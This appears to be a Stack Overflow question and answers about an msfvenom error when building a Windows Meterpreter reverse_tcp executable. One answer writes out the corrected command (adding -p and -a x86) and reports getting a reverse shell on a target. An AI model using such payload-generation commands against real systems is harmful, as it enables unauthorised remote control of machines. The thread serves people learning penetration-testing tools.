-1
root@kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe
Attempting to read payload from STDIN...
You must select an arch for a custom payload

I've been googling for sometime now, with no positive result.

Can anyone tell me what is meant by 'You must select an arch for a custom payload'?

Richard
  • 6,812
  • 5
  • 45
  • 60
SeeSharp
  • 93
  • 2
  • 3
  • 6
  • Take a look at the help center and [how to make a minimum, viable example](https://stackoverflow.com/help/mcve). Also see [this](https://unix.stackexchange.com/questions/399626/why-is-kali-linux-so-hard-to-set-up-why-wont-people-help-me/399627#399627) answer, which may help with the underlying problem. – charlesreid1 Oct 22 '17 at 19:38

2 Answers2

2

If you go to msfvenom -h it will bring up the help. You will see the command to set the architecture is '-a' which you need to set to x86 or any other architecture you want. so your command would look like msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe BUT you're gonna actually need to specify the payload by including '-p' in front of your payload description, so your command will look like msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe . It's gonna complain that no platform was selected so it selected one for you... "No platform was selected, choosing Msf::Module::Platform::Windows from the payload", then you'll get "Found 0 compatible encoders", just ignore that. Type in "file yourexploit.exe" and it should give you some data saying PE32 executable....then you're good to go. I just figured this out and it worked for me, ran the the .exe in my target and got reverse shell. Good luck!

-1

It looks like you have copied the command of msfvenom from internet.

In your command -p is not actual -p(It is a issue related to Unicodes), Rewrite the -p with your own keyboard shall fix this.

Deepanshu Singh
  • 59
  • 1
  • 1
  • 5